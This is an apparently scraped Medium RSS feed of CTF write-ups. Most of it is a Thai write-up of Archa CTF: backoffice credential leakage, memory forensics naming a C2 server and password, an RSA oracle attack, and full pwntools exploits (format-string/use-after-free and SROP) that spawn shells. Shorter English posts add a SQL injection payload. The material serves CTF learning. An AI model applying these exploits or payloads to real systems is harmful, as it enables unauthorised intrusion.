<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by PGTHEGOD_X on Medium]]></title>
        <description><![CDATA[Stories by PGTHEGOD_X on Medium]]></description>
        <link>https://medium.com/@pgthegod_x?source=rss-02fa7717145a------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*paXV8GRG4yvG8QmIEx7UDw.png</url>
            <title>Stories by PGTHEGOD_X on Medium</title>
            <link>https://medium.com/@pgthegod_x?source=rss-02fa7717145a------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Tue, 24 Nov 2026 18:01:39 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@pgthegod_x/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[Writesup Archa CTF | parkggez]]></title>
            <link>https://medium.com/@pgthegod_x/writesup-archa-ctf-parkggez-5838f55e013e?source=rss-02fa7717145a------2</link>
            <guid isPermaLink="false">https://medium.com/p/5838f55e013e</guid>
            <dc:creator><![CDATA[PGTHEGOD_X]]></dc:creator>
            <pubDate>Sat, 10 Jan 2026 16:57:48 GMT</pubDate>
            <atom:updated>2026-01-10T17:10:18.450Z</atom:updated>
            <content:encoded><![CDATA[<p>Team: พลังม้าอาชาศาล</p><p>Date: 3–5 January 2025</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*JDwQqBnRCeTGaaNB" /></figure><h3>Problem List:</h3><ul><li>ARCHA888</li><li>NZT-48 Is Calling</li><li>ARCHA RSA</li><li>Hacker DropCTF</li><li>HORSE FEEDING UNIT</li><li>MagicHay</li><li>celestialArcha</li></ul><p><strong>ARCHA888</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/763/1*KNUDZhQG5xDcxwYfAVkOlA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*6ZAWbJ4CdorzsjZkdn4TEA.png" /></figure><p>เข้าเว็บไปเจอเว็บพนัน <strong>ARCHA888</strong><br>เลยลองสมัครสมาชิกและล็อกอินเข้าไปได้ปกติ</p><p>จากนั้นลองทำการ <strong>ฝากเงิน 100000 บาท</strong><br>ได้ <strong>Flag แรก</strong> ทันที</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*TMJ7m4B_D21-9XUmEqkFcA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*7V6Xu6fDK3xGI5v4ZiWnVw.png" /></figure><p>หลังจากนั้นลองไล่ดูเว็บเองอยู่นาน (ประมาณชม++) ยังไม่เจออะไรเพิ่ม เลยลองใช้ nmap scan เว็บ</p><p>เจอว่ามี <strong>Port 8081</strong> เปิดอยู่ พอเข้าไปจะเจอหน้า <strong>Backoffice Login</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/638/1*hKJsROzgJ_q1aJM845GhMg.png" /></figure><p>เลยลอง enum path บน backoffice จนเจอ:</p><p>/phpinfo.php</p><p>ในหน้า phpinfo มีข้อมูลสำคัญหลุดออกมา เช่น</p><ul><li>environment variables</li><li><strong>flag ปลอม</strong></li><li>และมี <strong>Admin USER / PASS</strong> ที่ใช้ล็อกอิน backoffice ได้</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1019/1*rIxmCcdCrBqBIOKQ50ewhQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*jqW8XhqvXz3ylz2PhIp5cQ.png" /></figure><p>นำ USER/PASS ที่ได้ไปล็อกอิน Backoffice</p><p>หลังเข้าได้ ทำการตั้งค่าระบบให้ <strong>สามารถถอนเงินได้</strong> และ <strong>set credit</strong> ให้บัญชี</p><p>จากนั้นเริ่มทำรายการถอนเงินครั้งละ <strong>50000 </strong>แล้วทำซ้ำไปเรื่อย ๆ จนครบ <strong>1,000,000 </strong>โดยเข้าไป <strong>Approve ผ่าน Admin</strong></p><p>ทำครบตามจำนวน ระบบให้ <strong>Flag สุดท้าย</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1022/1*D5F4KUhxff6-gB329MrHRQ.png" /></figure><p><strong>NZT-48 Is Calling</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/829/1*-p8jrNZVBEx7OrW_r2jw-A.png" /></figure><p>โจทย์นี้เป็นแนว memory forensics + OSINT โดยให้ไฟล์ .raw มา แล้วต้องไล่หาว่าเครื่องเหยื่อทำอะไร ดาวน์โหลดอะไร โดนมัลแวร์อะไร และสุดท้ายต้องหาค่า password ที่ใช้เข้าถึง C2</p><p>ผมทำได้ <strong>9/10</strong></p><p>หลังจากโหลดไฟล์ RAW มา ผมเริ่มจากใช้ <strong>Volatility 3</strong> ก่อนเลย เพื่อดูว่าในเครื่องมี process แปลก ๆ อะไรรันอยู่บ้าง</p><pre>vol -f DESKTOP-O6QKJ51--20260101--093210.raw windows.cmdline</pre><p>แล้วไปสะดุดกับ process หนึ่งที่ดูไม่ปกติคือ</p><pre>7120 agent.exe &quot;C:\Users\Amongnud\Downloads\7n4pk4\agent.exe&quot;</pre><p>ชื่อมันโคตรไม่เหมือนโปรแกรมปกติ และรันจาก Downloads อีก แถม folder ก็ชื่อสุ่ม ๆ (7n4pk4)<br> เลยล็อกเป้าไว้เลยว่า agent.exe ต้องเป็นของที่เกี่ยวกับโจทย์แน่นอน</p><p>Press enter or click to view image in full size</p><p>ต่อมาผมอยากรู้ว่าไอ้ folder 7n4pk4 มันมาจากไหน เลยลองหา string ที่เกี่ยวข้องกับมันใน memory dump โดยใช้ strings แล้ว grep ดู</p><pre>strings -n 8 DESKTOP-O6QKJ51--20260101--093210.raw | grep -i &quot;7n4pk4&quot;</pre><p>เจอข้อความนี้โผล่มา</p><pre>QFree krnl working 100% no crack</pre><p>เท่านั้นแหละ รู้เลยว่าเรื่องนี้มันเกี่ยวกับ Roblox exploit แน่ ๆ<br> เพราะ krnl คือโปรแกรม exploit ที่คนใช้ hack Roblox กันบ่อย (และโจทย์ก็ถามว่า “พยายามโหลดอะไร”)</p><p>นอกจากนั้นยังเจอ URL ที่ชัดมากว่าเป็นไฟล์ที่โหลดมา</p><pre>https://files.catbox.moe/7n4pk4.zip</pre><p>เลย defang ตามโจทย์เป็น:</p><p>hxxps[://]files[.]catbox[.]moe/7n4pk4[.]zip</p><p>ต่อไปโจทย์ถามถึงชื่อโปรแกรมน่าสงสัย ผมตอบได้เลยจาก process ที่เจอเมื่อกี้<br> มันคือ agent.exe</p><p>พอรู้ชื่อแล้วก็ต้องหาว่า malware family คืออะไร เลย dump ไฟล์ออกมาก่อนด้วย volatility</p><pre>vol -f DESKTOP-O6QKJ51--20260101--093210.raw windows.dumpfiles --pid 7120</pre><p>ได้ไฟล์ออกมาเป็น 2 อันประมาณนี้</p><ul><li>file.0xc00f7a93d330.0xc00f7af6f8d0.DataSectionObject.agent.exe.dat</li><li>file.0xc00f7a93d330.0xc00f78dea010.ImageSectionObject.agent.exe.img</li></ul><p>จากนั้นเอาไปหา hash แล้วอัปเข้า <strong>VirusTotal</strong><br> ผลที่ได้คือ malware ตัวนี้เป็นตระกูล <strong>adaptixc2</strong></p><p>หลังจากนั้นต้องหาว่า C2 เชื่อมต่อไปไหน ผมใช้ windows.netscan ต่อเลย</p><pre>vol -f DESKTOP-O6QKJ51--20260101--093210.raw windows.netscan</pre><p>เจอ connection ที่ชัดมากว่า agent.exe เชื่อมไปหา IP ภายนอกผ่าน port 443</p><pre>TCPv4 192.168.169.135 51129 185.84.160.189 443 ESTABLISHED 7120 agent.exe</pre><p>ดังนั้น C2 คือ</p><p>185.84.160.189:443</p><p>ต่อมาโจทย์ให้หา profile Roblox ของนายบ่าวว่าชื่ออะไร ผมเลยหา string ที่มี roblox.com/users ใน dump</p><pre>strings -n 8 DESKTOP-O6QKJ51--20260101--093210.raw | grep -i &quot;roblox.com/users&quot;</pre><p>ได้ลิงก์นี้</p><p><a href="https://www.roblox.com/users/10261615366/profile">https://www.roblox.com/users/10261615366/profile</a></p><p>พอเปิดไปดู description ในหน้า profile เจอข้อความนี้เลย</p><p>hello my name is Destroyer1337xxx</p><p>ตรงนี้ตอบได้ทั้งโจทย์เรื่อง “ชื่อจริง” และ “username”</p><p>หลังจากนั้นโจทย์ให้ทำ OSINT ต่อจากชื่อ Destroyer1337xxx ว่ามันไปโผล่ในเว็บไหน<br> hint มาว่าเป็นเว็บเก็บโค้ด/ข้อความ และ hacker ชอบไปวางของไว้</p><p>ผม search ต่อไปเรื่อย ๆ แล้วเจอว่า username นี้มีโพสต์ใน <strong>Pastebin</strong></p><p>ดังนั้นเว็บคือ:</p><p>hxxps[://]pastebin[.]com</p><p>ใน Pastebin มีข้อมูลสำคัญคือ key กับ secret ที่ดูเหมือนเข้ารหัสไว้</p><pre>key: Archaisverysecret<br>secret: 31 13 10 1b 16 06 01 12 45 11 4b 49 45 01 13 12 1d 32 04 06 1a 18 1a 12 12</pre><p>อ่านแล้วเดาได้เลยว่าเป็น XOR เพราะ secret เป็น hex และมี key ให้<br> เลยเขียน script XOR ออกมา</p><pre>python3 - &lt;&lt;&#39;PY&#39;<br>key = b&quot;Archaisverysecret&quot;<br>data = bytes.fromhex(&quot;31 13 10 1b 16 06 01 12 45 11 4b 49 45 01 13 12 1d 32 04 06 1a 18 1a 12 12&quot;.replace(&quot; &quot;,&quot;&quot;))<br>out = bytes([b ^ key[i % len(key)] for i,b in enumerate(data)])<br>print(out.decode(errors=&quot;ignore&quot;))<br>PY</pre><p>ผลลัพธ์ที่ได้คือ password สำหรับเข้าถึง C2</p><p>bawisverysad</p><h3>สรุปได้</h3><ul><li>Program ที่พยายามโหลด: krnl</li><li>Roblox profile: Amongus2029704</li><li>URL ที่โหลด: hxxps[://]files[.]catbox[.]moe/7n4pk4[.]zip</li><li>Program น่าสงสัย: agent.exe</li><li>Malware family: adaptixc2</li><li>C2: 185.84.160.189:443</li><li>username ใน Roblox: Destroyer1337xxx</li><li>เจอชื่อในเว็บ: hxxps[://]pastebin[.]com</li><li>Password เข้า C2: bawisverysad</li></ul><p>ARCHA RSA</p><p>โจทย์เป็น RSA oracle ที่ให้ public key (N, e) และ ciphertext ของ secret (c) มา พร้อมบอกว่ามี oracle ที่จะ decrypt ให้ทุกอย่าง “ยกเว้น ciphertext ของ secret” เอง</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/773/1*DxGtNoTL0dLPBB1v9RMjrA.png" /></figure><p>หลังจาก netcat ไป ดูจะได้</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/964/1*fOn0WgHP6-NF5aheQpiS6A.png" /></figure><p>เนื่องจาก RSA แบบ textbook มี property ที่เอา ciphertext ไปคูณกับ 2^e (mod N) แล้วพอ decrypt จะได้ plaintext ถูกคูณด้วย 2</p><p>พูดง่าย ๆ คือถ้าเรามี</p><ul><li>c = m^e mod N</li></ul><p>เราสามารถสร้าง ciphertext ใหม่ได้เป็น</p><ul><li>c&#39; = c * (2^e) mod N</li></ul><p>พอส่ง c&#39; เข้า oracle มันจะถอดให้ (เพราะไม่ใช่ secret ciphertext ตรง ๆ) แล้วเราจะได้</p><ul><li>m&#39; = 2m mod N</li></ul><p>ซึ่งถ้า m ไม่เกิน N/2 ก็จะไม่มี wrap-around และเราสามารถเอา m&#39; // 2 กลับมาได้เป็น plaintext จริง</p><p>ผมเลยทำการส่ง ciphertext ที่ถูก multiply ด้วย 2^e เข้า oracle แล้วได้ค่า m_prime กลับมา</p><p>ผลที่ได้คือ</p><pre>m_prime = 4257981371584985115886609605909227729040509487345507629497434064528980195018600908450280688890</pre><p>จากนั้นก็เอามาหาร 2 เพื่อย้อนกลับเป็น plaintext เดิม</p><pre>m = m_prime // 2</pre><p>แล้วแปลงเป็น bytes เพื่ออ่านเป็น flag</p><pre>from Crypto.Util.number import long_to_bytes</pre><pre>m_prime = 4257981371584985115886609605909227729040509487345507629497434064528980195018600908450280688890<br>m = m_prime // 2</pre><pre>flag = long_to_bytes(m)<br>print(flag.decode())</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/697/1*E19s0nN-06320EUu_HFAFA.png" /></figure><p>Hacker DropCTF</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/903/1*4c8L5wuVulGRlAdSPfRP5w.png" /></figure><p>ตอนแรกผมลองเช็คไฟล์แบบง่าย ๆ ก่อน โดยใช้ strings ไล่ดู</p><pre>strings cache | head</pre><p>แล้วไปเจอว่า binary ตัวนี้มันถูก <strong>PACK ด้วย UPX</strong></p><p>เลยทำการ unpack ด้วยคำสั่ง:</p><pre>upx -d cache -o cache_o</pre><p>ไฟล์ที่ได้หลัง unpack คือ cache_o</p><p>จากนั้นเอา cache_o เข้า <strong>Ghidra</strong> แล้วลองดู strings / decompile<br>พอไล่ strings ไปเรื่อย ๆ ก็เจอ domain ที่โจทย์ต้องการอยู่แบบชัด ๆ</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/377/1*5GW883v7Q5QTPooggdC5og.png" /></figure><p>จึงตอบ torproject.cloud</p><p>HORSE FEEDING UNIT</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/903/1*00aEv1G0ygElhDN4_j397A.png" /></figure><p>เริ่มจากผมลอง scan port ด้วย nmap ก่อน เพราะยังไม่รู้ว่าเครื่องนี้เปิดอะไรไว้บ้าง</p><pre>nmap 172.18.0.33 -p 4840,80</pre><p>ผลที่ได้คือเปิดอยู่ 2 port</p><pre>80/tcp   open  http<br>4840/tcp open  opcua-tcp</pre><h3>Finding: เจอ OPC UA Port 4840</h3><p>Port 4840 เป็นพอร์ตมาตรฐานของ <strong>OPC UA</strong></p><p>พอเห็น opcua-tcp ผมเลยเดาว่าธงน่าจะถูกเก็บอยู่ใน OPC UA nodes และสามารถ browse อ่านค่าได้ถ้า server เปิด permission ไว้หลวม ๆ</p><p>ผมใช้ไลบรารี opcua ของ Python เพื่อ connect เข้า server แล้วทำการ browse node tree</p><p>ตั้งค่า keyword ไว้เป็นคำที่มักจะเกี่ยวกับ flag เช่น:</p><pre>keywords = [&quot;flag&quot;, &quot;secret&quot;, &quot;admin&quot;, &quot;debug&quot;, &quot;token&quot;, &quot;ctf&quot;, &quot;pass&quot;, &quot;key&quot;]</pre><p>จากนั้นเขียน function search() เพื่อไล่ดูชื่อ node และถ้ามี keyword จะ print nodeid พร้อมทั้งพยายามอ่านค่าออกมาด้วย</p><pre>from opcua import Client</pre><pre>keywords = [&quot;flag&quot;, &quot;secret&quot;, &quot;admin&quot;, &quot;debug&quot;, &quot;token&quot;, &quot;ctf&quot;, &quot;pass&quot;, &quot;key&quot;]</pre><pre>def search(node, depth=0, max_depth=10):<br>    if depth &gt; max_depth:<br>        return<br>    try:<br>        name = node.get_browse_name().Name.lower()<br>        if any(k in name for k in keywords):<br>            print(node.nodeid, node.get_browse_name())<br>            try:<br>                print(&quot;  value:&quot;, node.get_value())<br>            except:<br>                pass<br>    except:<br>        pass<br>    try:<br>        for ch in node.get_children():<br>            search(ch, depth+1, max_depth)<br>    except:<br>        pass</pre><pre>client = Client(&quot;opc.tcp://172.18.0.33:4840&quot;)<br>client.connect()</pre><pre>hf = client.get_node(&quot;ns=2;i=1&quot;)<br>search(hf)</pre><pre>client.disconnect()</pre><p>output:</p><pre>FourByteNodeId(ns=2;i=19) QualifiedName(2:SecretConfig)<br>FourByteNodeId(ns=2;i=20) QualifiedName(2:Flag)<br>  value: ARCHA{75f85f99d65901b2f8ee56d57c9892b3}<br>FourByteNodeId(ns=2;i=21) QualifiedName(2:AdminPassword)<br>  value: h0rs3f33d3r!</pre><p>ได้ ARCHA{75f85f99d65901b2f8ee56d57c9892b3}</p><p>MagicHay</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/915/1*epz8KzZMtjxOQ_TbjhwYhw.png" /></figure><p>เปิดดูโปรแกรมแล้วเป็นเมนูซื้อ/ขายม้า ซื้อหญ้า แล้วเรียกม้าให้วิ่ง<br> ใน struct ของม้ามี <strong>function pointer</strong> อยู่ที่ offset +0x20 ตอนสร้างม้าจะ set ให้ชี้ไป run()<br> แต่มีฟังก์ชันลับ secret_door() ที่เรียก system(&quot;/bin/sh&quot;)</p><p>POC:</p><ol><li><strong>Format string</strong> ใน main<br> โปรแกรม printf(buf) ตรง ๆ เลยใช้ %p leak address ออกมาเพื่อหา PIE base<br> แล้วคำนวณ address ของ secret_door ได้จาก<br> secret_door = pie_base + 0x1212</li><li><strong>Use After Free (UAF)</strong><br> ขายม้าแล้ว free() แต่ไม่ได้ล้าง pointer ใน farm[]<br> ทำให้ยัง call_horse() ได้อยู่</li></ol><p>วิธีโจมตีคือ:</p><ul><li>ซื้อ horse ใน stall 0</li><li>ขาย horse (chunk ถูก free แต่ pointer ยังอยู่)</li><li>ซื้อ hay หลายครั้งเพื่อให้ malloc reuse chunk เดิม</li><li>ตอนซื้อ hay ใส่ payload เป็น<br> A*0x20 + p64(secret_door)<br> เพื่อ overwrite function pointer ของม้า</li><li>เรียก call_horse(0) → มันจะ call function pointer ที่โดน overwrite → กระโดดไป secret_door() → ได้ shell</li></ul><p>จากนั้น cat flag ได้เลย</p><p>Script Exploit:</p><pre>#!/usr/bin/env python3<br>from pwn import *<br>import re<br><br>binary = &#39;./magichay&#39;<br>context.binary = elf = ELF(binary)<br>context.log_level = &#39;info&#39;<br><br>MAIN_OFFSET = 0x152c<br>SECRET_DOOR_OFFSET = 0x1212<br><br>HOST = &quot;172.18.0.33&quot;<br>PORT = 2026<br><br>def start():<br>    if args.REMOTE:<br>        return remote(HOST, PORT)<br>    return process(binary)<br><br>def leak_pie(io):<br>    log.info(&quot;Bruteforcing format string offset to leak PIE...&quot;)<br>    io.timeout = 2<br><br>    io.sendline(b&#39;&#39;)<br>    io.recv(timeout=1)<br><br>    for off in range(10, 40):<br>        io.sendline(f&quot;%{off}$p&quot;.encode())<br>        data = io.recv(timeout=1)<br><br>        m = re.search(rb&quot;0x[0-9a-fA-F]+&quot;, data)<br>        if not m:<br>            continue<br><br>        leak = int(m.group(0), 16)<br><br>        if (leak &amp; 0xfff) == (MAIN_OFFSET &amp; 0xfff):<br>            pie_base = leak - MAIN_OFFSET<br>            secret_door = pie_base + SECRET_DOOR_OFFSET<br>            log.success(f&quot;Found leak offset {off}: {hex(leak)}&quot;)<br>            log.success(f&quot;PIE base = {hex(pie_base)}&quot;)<br>            log.success(f&quot;secret_door = {hex(secret_door)}&quot;)<br>            return secret_door<br><br>    return None<br><br>def buy_horse(io, stall=0, name=b&quot;HORSE&quot;):<br>    io.sendlineafter(b&#39;&gt; &#39;, b&#39;1&#39;)<br>    io.sendlineafter(b&#39;(0-9): &#39;, str(stall).encode())<br>    io.sendlineafter(b&#39;Horse Name: &#39;, name)<br><br>def sell_horse(io, stall=0):<br>    io.sendlineafter(b&#39;&gt; &#39;, b&#39;2&#39;)<br>    io.sendlineafter(b&#39;Stall to sell: &#39;, str(stall).encode())<br><br>def buy_hay(io, payload):<br>    io.sendlineafter(b&#39;&gt; &#39;, b&#39;3&#39;)<br>    io.sendlineafter(b&#39;buy: &#39;, payload)<br><br>def call_horse(io, stall=0):<br>    io.sendlineafter(b&#39;&gt; &#39;, b&#39;4&#39;)<br>    io.sendlineafter(b&#39;? &#39;, str(stall).encode())<br><br>def exploit(io, secret_door):<br>    buy_horse(io, 0, b&quot;HORSE&quot;)<br>    sell_horse(io, 0)<br><br>    payload = b&#39;A&#39; * 0x20 + p64(secret_door)<br>    for _ in range(10):<br>        buy_hay(io, payload)<br><br>    call_horse(io, 0)<br>    io.interactive()<br><br>def main():<br>    io = start()<br>    secret = leak_pie(io)<br>    if not secret:<br>        log.error(&quot;No leak found.&quot;)<br>        io.interactive()<br>        return<br><br>    exploit(io, secret)<br><br>if __name__ == &quot;__main__&quot;:<br>    main()</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/738/1*nKEdpkG9fhz7Zq1MJp0QVw.png" /></figure><p><strong>celestialArcha</strong></p><p>ตัวโปรแกรมมีแค่ฟังก์ชัน feed_horse() รับ input ด้วย read() แต่ buffer มีแค่ 0x10 bytes</p><pre>lea -0x10(%rbp), %rax<br>mov $0x400, %edx<br>call read</pre><p>แปลว่า <strong>stack overflow แน่นอน</strong> เพราะ read 0x400 ลง buffer 0x10</p><p>จาก objdump เจอ gadget สำคัญ 2 อัน:</p><ul><li>pop rax ; ret อยู่ที่ 0x40114a (ฟังก์ชัน magic_hay)</li><li>syscall ; ret อยู่ที่ 0x401153 (ฟังก์ชัน stable_door)</li></ul><pre>40114a: 58 pop %rax<br>40114b: c3 ret</pre><pre>401153: 0f 05 syscall<br>401155: c3 ret</pre><h3>Idea: ใช้ SROP</h3><p>เพราะไม่มี libc leak และ NX เปิดอยู่ เลยใช้วิธี SROP โดยเรียก sigreturn (rax = 15) เพื่อ set register ตามใจ แล้วทำ syscall ได้เลย</p><p>เราจะเรียก syscall read(0, PIVOT, 0x800) เพื่อเอา payload รอบสองไปวางใน .bss แล้วเปลี่ยน rsp ให้ชี้ไปที่นั่น (stack pivot)</p><p>ตั้งค่า frame1:</p><ul><li>rax=0 (sys_read)</li><li>rdi=0</li><li>rsi=PIVOT</li><li>rdx=0x800</li><li>rsp=PIVOT</li><li>rip=syscall_ret</li></ul><p>แล้ว trigger ด้วย chain:</p><pre>pop rax ; ret<br>15<br>syscall ; ret<br>&lt;SigreturnFrame&gt;</pre><p>พอ pivot ไป .bss แล้ว stage2 จะเป็นอีก SROP frame ที่ set ให้เรียก syscall execve</p><ul><li>rax=59 (execve)</li><li>rdi = address &quot;/bin/sh&quot;</li><li>rsi=0</li><li>rdx=0</li><li>rip=syscall_ret</li></ul><p>แล้วแปะ /bin/sh\x00 ไว้ใน .bss ตาม offset ที่เรากำหนด (BINSH_OFF=0x300)</p><p>SCRIPT</p><pre>#!/usr/bin/env python3<br>from pwn import *<br><br>context.clear(arch=&quot;amd64&quot;, os=&quot;linux&quot;)<br>context.log_level = &quot;info&quot;<br><br>HOST = &quot;172.18.0.7&quot;<br>PORT = 2026<br><br>POP_RAX     = 0x40114a<br>SYSCALL_RET = 0x401153<br>OFFSET      = 24<br>PIVOT       = 0x404500<br>READ_SIZE   = 0x800<br><br>io = remote(HOST, PORT)<br># io = process(&quot;./celestialArcha&quot;)<br><br>frame1 = SigreturnFrame()<br>frame1.rax = 0<br>frame1.rdi = 0<br>frame1.rsi = PIVOT<br>frame1.rdx = READ_SIZE<br>frame1.rsp = PIVOT<br>frame1.rip = SYSCALL_RET<br><br>stage1  = b&quot;A&quot;*OFFSET<br>stage1 += p64(POP_RAX)<br>stage1 += p64(15)<br>stage1 += p64(SYSCALL_RET)<br>stage1 += bytes(frame1)<br>stage1 = stage1.ljust(0x400, b&quot;B&quot;)<br><br>BINSH_OFF  = 0x300<br>BINSH_ADDR = PIVOT + BINSH_OFF<br><br>frame2 = SigreturnFrame()<br>frame2.rax = 59<br>frame2.rdi = BINSH_ADDR<br>frame2.rsi = 0<br>frame2.rdx = 0<br>frame2.rip = SYSCALL_RET<br>frame2.rsp = PIVOT + 0x700<br><br>stage2  = p64(POP_RAX)<br>stage2 += p64(15)<br>stage2 += p64(SYSCALL_RET)<br>stage2 += bytes(frame2)<br>stage2  = stage2.ljust(BINSH_OFF, b&quot;\x00&quot;)<br>stage2 += b&quot;/bin/sh\x00&quot;<br><br>io.recvuntil(b&quot;hay&quot;)<br>io.send(stage1)<br>io.send(stage2)<br><br>io.sendline(b&quot;/bin/bash&quot;)<br>io.interactive()<br><br>data = io.recvall(timeout=2)<br>print(data.decode(errors=&quot;replace&quot;))</pre><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=5838f55e013e" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[— — — VishwaCTF 2025 — — — Write Up for Web ExploitChallenge : Frame]]></title>
            <link>https://medium.com/@pgthegod_x/vishwactf-2025-write-up-for-web-exploitchallenge-frame-5ea777ab4592?source=rss-02fa7717145a------2</link>
            <guid isPermaLink="false">https://medium.com/p/5ea777ab4592</guid>
            <category><![CDATA[ctf-writeup]]></category>
            <dc:creator><![CDATA[PGTHEGOD_X]]></dc:creator>
            <pubDate>Sun, 09 Mar 2025 08:10:37 GMT</pubDate>
            <atom:updated>2025-03-09T08:10:37.348Z</atom:updated>
            <content:encoded><![CDATA[<h3>— — — VishwaCTF 2025 — — — Write Up for Web ExploitChallenge : Frame</h3><p>I am a player from <strong>TEAM: ModernDog</strong> (Placed: 19).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*9Vsb1CeHG5GmFnIF.png" /></figure><p>We tried using <strong>SQL Injection</strong> with the payload:<br>&#39; OR &#39;1&#39;=&#39;1 -</p><p>And we got:<br><strong>FLAMES Love Calculator 💖</strong><br>&#39; OR &#39;1&#39;=&#39;1 ❤️ &#39; OR &#39;1&#39;=&#39;1 = Marriage</p><p>So we can do Sql injection.</p><p>Next, we tried edit request in burp suite:<br>username=love&#39; UNION SELECT &#39;Love&#39; - - &amp;password=love</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*yc7M_UuCyBFuiMxH.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*6MNrbhX5ht-9q469.png" /></figure><p>And we successfully retrieved the flag.</p><p><strong>AND PWNED.</strong> 🎯🔥</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=5ea777ab4592" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[— — — VishwaCTF 2025 — — — Write Up for OSINT Challenge : FLY]]></title>
            <link>https://medium.com/@pgthegod_x/vishwactf-2025-write-up-for-osint-challenge-fly-8dd1996e625b?source=rss-02fa7717145a------2</link>
            <guid isPermaLink="false">https://medium.com/p/8dd1996e625b</guid>
            <category><![CDATA[ctf-writeup]]></category>
            <dc:creator><![CDATA[PGTHEGOD_X]]></dc:creator>
            <pubDate>Sun, 09 Mar 2025 08:10:20 GMT</pubDate>
            <atom:updated>2025-03-09T08:10:20.356Z</atom:updated>
            <content:encoded><![CDATA[<h3>— — — VishwaCTF 2025 — — — Write Up for OSINT Challenge : FLY</h3><p>I am a player from <strong>TEAM: ModernDog</strong> (Placed: 19).</p><p>We got the description:<br><strong>“A B/W mammal is on me Mach 10! not really. Find the time of my reveal and the closest AFB you see.”</strong></p><p>We tried a lot of animals, but nothing worked. Then, I found an article and tried the information from it, but it still didn’t work.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/881/1*IS2xGmcSx1pdytJUrD6ilg.png" /></figure><p>So, I tried:<br><strong>VishwaCTF{Skunk_Edwards_04/2023}</strong></p><p>And it worked! ✅</p><p><strong>PWNED.</strong> 🎉</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=8dd1996e625b" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[— — — VishwaCTF 2025 — — — Write Up for Digital Forensics Challenge(Medium): Leaky Stream]]></title>
            <link>https://medium.com/@pgthegod_x/vishwactf-2025-write-up-for-digital-forensics-challenge-medium-leaky-stream-30d7629b51d1?source=rss-02fa7717145a------2</link>
            <guid isPermaLink="false">https://medium.com/p/30d7629b51d1</guid>
            <category><![CDATA[ctf-writeup]]></category>
            <dc:creator><![CDATA[PGTHEGOD_X]]></dc:creator>
            <pubDate>Sun, 09 Mar 2025 07:51:13 GMT</pubDate>
            <atom:updated>2025-03-09T07:51:13.551Z</atom:updated>
            <content:encoded><![CDATA[<h3>— — — VishwaCTF 2025 — — — Write Up for Digital Forensics Challenge (EASY): Leaky Stream</h3><p>I am a player from <strong>TEAM: ModernDog</strong> (Placed: 19).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/414/1*QdnGX3JdEgducyvsb-ivVg.png" /></figure><p>We obtained <strong>chitty-chat.pcapng</strong> and initially analyzed it using <strong>Wireshark</strong>, but found nothing useful.</p><p>So, we decided to open it in <strong>VS Code</strong> for further inspection</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/415/1*pFqEo4vdsN4VG_dd8AIN_A.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/427/1*8HnH-ZjL7HmBq_zuSPozoQ.png" /></figure><p>We found it! ✅</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=30d7629b51d1" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[— — — VishwaCTF 2025 — — — Write Up for OSINT Challenge : Summit]]></title>
            <link>https://medium.com/@pgthegod_x/vishwactf-2025-write-up-for-osint-challenge-summit-c0da0bcdd0c9?source=rss-02fa7717145a------2</link>
            <guid isPermaLink="false">https://medium.com/p/c0da0bcdd0c9</guid>
            <category><![CDATA[ctf-writeup]]></category>
            <dc:creator><![CDATA[PGTHEGOD_X]]></dc:creator>
            <pubDate>Sat, 08 Mar 2025 01:23:23 GMT</pubDate>
            <atom:updated>2025-03-08T01:23:23.343Z</atom:updated>
